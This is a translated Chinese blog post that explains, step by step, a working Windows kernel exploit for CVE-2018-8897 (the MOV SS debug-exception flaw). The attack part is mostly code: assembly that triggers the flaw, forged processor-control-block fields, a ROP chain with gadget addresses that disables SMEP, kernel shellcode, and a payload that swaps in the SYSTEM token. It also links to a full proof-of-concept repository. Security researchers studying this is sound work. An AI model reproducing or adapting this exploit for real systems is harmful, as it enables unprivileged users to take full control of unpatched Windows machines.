写在前面的话

就在几天前，Nick Peterson（@nickeverdox）和Nemanja Mulasmajic（@ 0xNemi）发现了一个允许非特权用户运行带有用户模式GSBASE的#DB处理程序的新漏洞。在白皮书的最后，他们发布了 triplefault.io，他们提到他们能够加载和执行未签名的内核代码，这让我产生感兴趣; 这正是我要在这篇文章中尝试做的。

在开始之前，我想指出的是，这个漏洞在虚拟机上不起作用，因为int3在虚拟化下丢弃了#DB。所以我通过“simulating”这种情况来调试它。

最终的源代码可以在底部找到。

 

0x0：设置基础

这个漏洞的基本原理非常简单，与开发漏洞不同。当堆栈段改变时 – 无论是通过MOV还是POP-下一条指令完成中断都被延迟。这不是微代码错误，而是英特尔添加的功能，因此可以同时设置堆栈段和堆栈指针。

然而，许多操作系统供应商忽略了这个细节，这让我们可以从用户模式的CPL0中获得一个#DB异常。

我们可以通过设置调试寄存器来创建延迟到CPL0的异常，以便在执行堆栈段更改指令期间#DB将引发并立即调用int 3 。int3将跳转到KiBreakpointTrap，并且在KiBreakpointTrap的第一条指令执行之前，我们的#DB将被提升。

正如原始白皮书中的everdox和0xNemi所提到的，这使我们可以使用用户模式GSBASE运行内核模式异常处理程序。这样调试寄存器和XMM寄存器将被保存。

所有这些都可以通过几行来完成，如下所示：
#include <Windows.h>
#include <iostream>
void main()
{
static DWORD g_SavedSS = 0;
_asm
{
mov ax, ss
mov word ptr [ g_SavedSS ], ax
}
CONTEXT Ctx = { 0 };
Ctx.Dr0 = ( DWORD ) &g_SavedSS;
Ctx.Dr7 = ( 0b1 << 0 ) | ( 0b11 << 16 ) | ( 0b11 << 18 );
Ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
SetThreadContext( HANDLE( -2 ), &Ctx );
PVOID FakeGsBase = ...;
_asm
{
mov eax, FakeGsBase ; Set eax to fake gs base
push 0x23
push X64_End
push 0x33
push X64_Start
retf
X64_Start:
__emit 0xf3 ; wrgsbase eax
__emit 0x0f
__emit 0xae
__emit 0xd8
retf
X64_End:
`
; Vulnerability` mov ss, word ptr [ g_SavedSS ] ; Defer debug exception
int 3 ; Execute with interrupts disabled
nop
}
}
这个例子是32位的，为了将ASM和C一起展示，最后演示的代码将是64位。

现在，让我们开始调试，我们用我们的定制的GSBASE在idebug gtraporfault！但是，这是灾难性的，因为我们最终会在KiDebugTrapOrFault-> KiGeneralProtectionFault-> KiPageFault-> KiPageFault-> ...无限循环中。如果我们有一个完全有效的GSBASE，那么我们所取得的成果将是一个KMODE_EXCEPTION_NOT_HANDLED BSOD ， 所以让我们专注于GSBASE真正的功能，并尝试去KeBugCheckEx。

我们可以利用一个小的IDA脚本更快地转到相关部分：
#include <idc.idc>
static main()
{
Message( "--- Step Till Next GS ---n" );
`
while( 1 )` {
auto Disasm = GetDisasmEx( GetEventEa(), 1 );
if ( strstr( Disasm, "gs:" ) >= Disasm )
break;
StepInto();
GetDebuggerEvent( WFNE_SUSP, -1 );
}
}

 

0x1：修复KPCR数据

以下是我们必须修改GSBASE内容并且成功通过的几个案例：

– KiDebugTrapOrFault

KiDebugTrapOrFault：
...
MEMORY：FFFFF8018C20701E ldmxcsr dword ptr gs：180h
Pcr.Prcb.MxCsr需要有一个有效的标志组合来传递这个指令，否则它会产生#GP。所以让我们将其设置为初始值0x1F80。

– KiExceptionDispatch

KiExceptionDispatch：
...
MEMORY：FFFFF8018C20DB5F mov rax，gs ：188h
MEMORY：FFFFF8018C20DB68 bt dword ptr [rax + 74h ]，8
Pcr.Prcb.CurrentThread位于gs：188h。我们将分配一块内存并在gs：188h中引用它。

– KiDispatchException

KiDispatchException：
...
MEMORY：FFFFF8018C12A4D8 mov rax，gs ：qword_188
MEMORY：FFFFF8018C12A4E1 mov rax，[rax + 0B8h ]

这是Pcr.Prcb.CurrentThread.ApcStateFill.Process，我们将再次分配一块内存，并简单地将该指针指向它。

KeCopyLastBranchInformation：
...
MEMORY：FFFFF8018C12A0AC mov rax，gs ：qword_20
MEMORY：FFFFF8018C12A0B5 mov ecx，[rax + 148h ]

来自GSBASE的0x20是Pcr.CurrentPrcb，即Pcr + 0x180。让我们将Pcr.CurrentPrcb设置为Pcr + 0x180，同时将Pcr.Self设置为＆Pcr。

– RtlDispatchException

这一项我会讲的更加详细。RtlDispatchException调用RtlpGetStackLimits，如果失败，则调用KeQueryCurrentStackInformation和__fastfail。这里的问题是KeQueryCurrentStackInformation检查RSP对Pcr.Prcb.RspBase，Pcr.Prcb.CurrentThread-> InitialStack，Pcr.Prcb.IsrStack的当前值，如果它没有找到它报告失败的匹配项。我们显然无法从用户模式知道内核堆栈的价值，那该怎么办？

在函数中间有一个奇怪的检查：
char __fastcall KeQueryCurrentStackInformation(_DWORD *a1, unsigned __int64 *a2, unsigned __int64 *a3)
{
...
if ( *(_QWORD *)(*MK_FP(__GS__, 392i64) + 40i64) == *MK_FP(__GS__, 424i64) )
{
...
}
else
{
*v5 = 5;
result = 1;
*v3 = 0xFFFFFFFFFFFFFFFFi64;
*v4 = 0xFFFF800000000000i64;
}
return result;
}

多亏了这个检查，只要我们确定KThread.InitialStack（KThread + 0x28）不等于Pcr.Prcb.RspBase（gs：1A8h），KeQueryCurrentStackInformation将返回成功，0xFFFF800000000000-0xFFFFFFFFFFFFFFFF作为报告的堆栈范围。我们继续并将Pcr.Prcb.RspBase设置为1，将Pcr.Prcb.CurrentThread-> InitialStack设置为0.问题已解决。

RtlDispatchException在更改后将失效，不会发生错误检查并返回KiDispatchException。

– KeBugCheckEx

我们终于来了。这是我们需要解决的最后一件事：

MEMORY：FFFFF8018C1FB94A mov rcx，gs ：qword_20
MEMORY：FFFFF8018C1FB953 mov rcx，[rcx + 62C0h ]
MEMORY：FFFFF8018C1FB95A 调用RtlCaptureContext

Pcr.CurrentPrcb->上下文是KeBugCheck保存调用者的上下文的地方，并且出于某种奇怪的原因，它是PCONTEXT而不是CONTEXT。我们并不关心Pcr的任何其他字段，所以让我们将它设置为Pcr + 0x3000，仅仅是为了现在有一个有效的指针。

 

0x2： Write | What | Where

让我们噪起来，向胜利象征的甜美蓝色屏幕出发吧！

现在一切正常，我们如何利用它？

KeBugCheckEx之后的代码太复杂，无法一个接一个，这根本没有意思，所以我们不想错误检查。

我编写了另一个IDA脚本来记录感兴趣的点（例如gs：访问和跳转以及对寄存器和[寄存器+ x]的调用），并直到KeBugCheckEx被触发为止：
#include <idc.idc>
static main()
{
Message( "--- Logging Points of Interest ---n" );
`
while( 1 )
{
auto IP = GetEventEa();
auto Disasm = GetDisasmEx( IP, 1 );
`
if
(
( strstr( Disasm, "gs:" ) >= Disasm ) ||
( strstr( Disasm, "jmp r" ) >= Disasm ) ||
( strstr( Disasm, "call r" ) >= Disasm ) ||
( strstr( Disasm, "jmp" ) >= Disasm && strstr( Disasm, "[r" ) >= Disasm ) ||
( strstr( Disasm, "call" ) >= Disasm && strstr( Disasm, "[r" ) >= Disasm )
)
{
Message( "-- %s (+%x): %sn", GetFunctionName( IP ), IP - GetFunctionAttr( IP, FUNCATTR_START ), Disasm );
}
`
StepInto();
GetDebuggerEvent( WFNE_SUSP, -1 );
`
if( IP == ... )
break;
}
}

令我失望的是，没有出现跳转或调用。整个输出是：
- KiDebugTrapOrFault (+3d): test word ptr gs:278h, 40h
- sub_FFFFF8018C207019 (+5): ldmxcsr dword ptr gs:180h
-- KiExceptionDispatch (+5f): mov rax, gs:188h
--- KiDispatchException (+48): mov rax, gs:188h
--- KiDispatchException (+5c): inc gs:5D30h
---- KeCopyLastBranchInformation (+38): mov rax, gs:20hh
---- KeQueryCurrentStackInformation (+3b): mov rax, gs:188h
---- KeQueryCurrentStackInformation (+44): mov rcx, gs:1A8h
--- KeBugCheckEx (+1a): mov rcx, gs:20h

这意味着我们必须找到一种写入内核模式内存和滥用的方法。RtlCaptureContext在这里会有很大的帮助。正如我前面提到的那样，它从Pcr.CurrentPrcb-> Context获取上下文指针，这很奇怪地是PCONTEXT上下文而不是上下文，这意味着我们可以为其提供任何内核地址并使其写入上下文。

我原本打算把它写在g_CiOptions上，并且在另一个线程中连续使用NtLoadDriver，但是这个想法并没有像我想的那么好（这就是说，这是@everdox和@ 0xNemi的工作方式，我想我们会看看他们在BlackHat 2018上使用了什么黑魔法），只是因为当前线程停留在无限循环中，另一个尝试NtLoadDriver的线程由于其使用的IPI而不会成功：

NtLoadDriver-> – > MiSetProtectionOnSection-> KeFlushMultipleRangeTb-> IPI->死锁

在玩了1-2天的g_CiOptions之后，我想到了一个更好的主意：建立一个ROP链。

我们如何建立一个没有RSP的ROP链？打开脑洞，我们实际上可以访问RSP。我们可以通过将Prcb.Context指向用户模式内存并轮询来自辅助线程的Context.RSP值来获得当前的RSP。可悲的是，这本身并没有用，因为我们已经通过了RtlCaptureContext（我们写了什么漏洞）。

但是，如果我们可以在RtlCaptureContext完成其工作并以某种方式预测RSP的下一个值之后返回到KiDebugTrapOrFault， 这正是我们要做的。

要返回到KiDebugTrapOrFault，我们将再次使用我们可爱的调试寄存器。在RtlCaptureContext返回之后，对KiSaveProcessorControlState进行调用。
.text:000000014017595F mov rcx, gs:20h
.text:0000000140175968 add rcx, 100h
.text:000000014017596F call KiSaveProcessorControlState
.text:0000000140175C80 KiSaveProcessorControlState proc near ; CODE XREF: KeBugCheckEx+3Fp
.text:0000000140175C80 ; KeSaveStateForHibernate+ECp ...
.text:0000000140175C80 mov rax, cr0
.text:0000000140175C83 mov [rcx], rax
.text:0000000140175C86 mov rax, cr2
.text:0000000140175C89 mov [rcx+8], rax
.text:0000000140175C8D mov rax, cr3
.text:0000000140175C90 mov [rcx+10h], rax
.text:0000000140175C94 mov rax, cr4
.text:0000000140175C97 mov [rcx+18h], rax
.text:0000000140175C9B mov rax, cr8
.text:0000000140175C9F mov [rcx+0A0h], rax

我们将在gs：20h + 0x100 + 0xA0上设置DR1，并使KeBugCheckEx返回到KiDebugTrapOrFault。

为了编写我们的ROP链，我们首先让KiDebugTrapOrFault-> ... - > RtlCaptureContext执行一次，给我们的用户模式线程一个初始的RSP值，然后让它执行另一个时间来获得新的RSP，这将使我们计算每个 – 执行RSP差异。该RSP增量将保持不变，因为控制流量也是恒定的。

现在我们有了RSP增量，我们将预测RSP的下一个值，从中减去8来计算RtlCaptureContext的返回指针并使Prcb.Context.Xmm13 - Prcb.Context.Xmm15覆盖它。

线程逻辑将如下所示：

volatile PCONTEXT Ctx = *( volatile PCONTEXT* ) ( Prcb + Offset_Prcb__Context );
while ( !Ctx->Rsp ); // Wait for RtlCaptureContext to be called once so we get leaked RSP
uint64_t StackInitial = Ctx->Rsp;
while ( Ctx->Rsp == StackInitial ); // Wait for it to be called another time so we get the stack pointer difference
// between sequential KiDebugTrapOrFault
StackDelta = Ctx->Rsp - StackInitial;
PredictedNextRsp = Ctx->Rsp + StackDelta; // Predict next RSP value when RtlCaptureContext is called
uint64_t NextRetPtrStorage = PredictedNextRsp - 0x8; // Predict where the return pointer will be located at
NextRetPtrStorage &= ~0xF;
*( uint64_t* ) ( Prcb + Offset_Prcb__Context ) = NextRetPtrStorage - Offset_Context__XMM13;
// Make RtlCaptureContext write XMM13-XMM15 over it

现在我们只需要设置一个ROP链并将其写入XMM13-XMM15。我们无法预测XMM15的哪一半会因为我们应用的掩码符合movaps对齐要求而受到打击，所以前两个指针应该只是指向一个[RETN]指令。

我们需要加载一个具有我们选择设置CR4的值的寄存器，以便XMM14将指向一个[POP RCX; RETN]工具，然后是禁用SMEP的有效CR4值。至于XMM13，我们只是要使用[MOV CR4，RCX; RETN;]工具后跟一个指向我们shellcode的指针。

最后的链看起来是这样的：
- ＆retn ; （fffff80372e9502d）
- ＆retn ; （fffff80372e9502d）
- ＆pop rcx ; RETN; （fffff80372ed9122）
- cr4_nosmep （00000000000506 f8）
- ＆mov cr4，rcx ; RETN; （fffff803730045c7）
- ＆KernelShellcode （00007 ff613fb1010）

在我们的shellcode中，我们需要恢复CR4值，swapgs，回滚ISR堆栈，执行我们想要的代码和IRETQ回到用户模式，这可以像下面这样完成：
NON_PAGED_DATA fnFreeCall k_ExAllocatePool = 0;
using fnIRetToVulnStub = void( * ) ( uint64_t Cr4, uint64_t IsrStack, PVOID ContextBackup );
NON_PAGED_DATA BYTE IRetToVulnStub[] =
{
0x0F, 0x22, 0xE1, // mov cr4, rcx ; cr4 = original cr4
0x48, 0x89, 0xD4, // mov rsp, rdx ; stack = isr stack
0x4C, 0x89, 0xC1, // mov rcx, r8 ; rcx = ContextBackup
0xFB, // sti ; enable interrupts
0x48, 0xCF // iretq ; interrupt return
};
NON_PAGED_CODE void KernelShellcode()
{
__writedr( 7, 0 );
uint64_t Cr4Old = __readgsqword( Offset_Pcr__Prcb + Offset_Prcb__Cr4 );
__writecr4( Cr4Old & ~( 1 << 20 ) );
__swapgs();
uint64_t IsrStackIterator = PredictedNextRsp - StackDelta - 0x38;
__writedr( 2, StackDelta );
__writedr( 3, IsrStackIterator );
// Unroll nested KiBreakpointTrap -> KiDebugTrapOrFault -> KiTrapDebugOrFault
while (
( ( ISR_STACK* ) IsrStackIterator )->CS == 0x10 &&
( ( ISR_STACK* ) IsrStackIterator )->RIP > 0x7FFFFFFEFFFF )
{
__rollback_isr( IsrStackIterator );
// We are @ KiBreakpointTrap -> KiDebugTrapOrFault, which won't follow the RSP Delta
if ( ( ( ISR_STACK* ) ( IsrStackIterator + 0x30 ) )->CS == 0x33 )
{
/*
fffff00e``d7a1bc38 fffff8007e4175c0 nt!KiBreakpointTrap
fffff00e``d7a1bc40 0000000000000010
fffff00e``d7a1bc48 0000000000000002
fffff00e``d7a1bc50 fffff00ed7a1bc68
fffff00e``d7a1bc58 0000000000000000
fffff00e``d7a1bc60 0000000000000014
fffff00e``d7a1bc68 00007ff7e2261e95 --
fffff00e``d7a1bc70 0000000000000033
fffff00e``d7a1bc78 0000000000000202
fffff00e``d7a1bc80 000000ad39b6f938
*/
IsrStackIterator = IsrStackIterator + 0x30;
break;
}
IsrStackIterator -= StackDelta;
}
PVOID KStub = ( PVOID ) k_ExAllocatePool( 0ull, ( uint64_t )sizeof( IRetToVulnStub ) );
Np_memcpy( KStub, IRetToVulnStub, sizeof( IRetToVulnStub ) );
// ------ KERNEL CODE ------
....
// ------ KERNEL CODE ------
__swapgs();
( ( ISR_STACK* ) IsrStackIterator )->RIP += 1;
( fnIRetToVulnStub( KStub ) )( Cr4Old, IsrStackIterator, ContextBackup );
}

我们无法恢复任何寄存器，因此我们会让负责执行漏洞的线程将上下文存储在全局容器中，并从中恢复。现在我们执行了代码并返回到用户模式，我们的漏洞已经完成！

让我们来做一个简单的演示，窃取系统令牌：

uint64_t SystemProcess = *k_PsInitialSystemProcess;
uint64_t CurrentProcess = k_PsGetCurrentProcess();
uint64_t CurrentToken = k_PsReferencePrimaryToken( CurrentProcess );
uint64_t SystemToken = k_PsReferencePrimaryToken( SystemProcess );
for ( int i = 0; i < 0x500; i+= 0x8 )
{
uint64_t Val = *( uint64_t * ) ( CurrentProcess + i );
Val &= ~0xF;
if ( Val == CurrentToken )
{
*( uint64_t * ) ( CurrentProcess + i ) = SystemToken;
break;
}
}
k_PsDereferencePrimaryToken( CurrentToken );
k_PsDereferencePrimaryToken( SystemToken );


该概念的完整实现可在以下网址找到：https://github.com/can1357/CVE-2018-8897

本文翻译自 https://blog.can.ac/， 原文链接 。译者：threst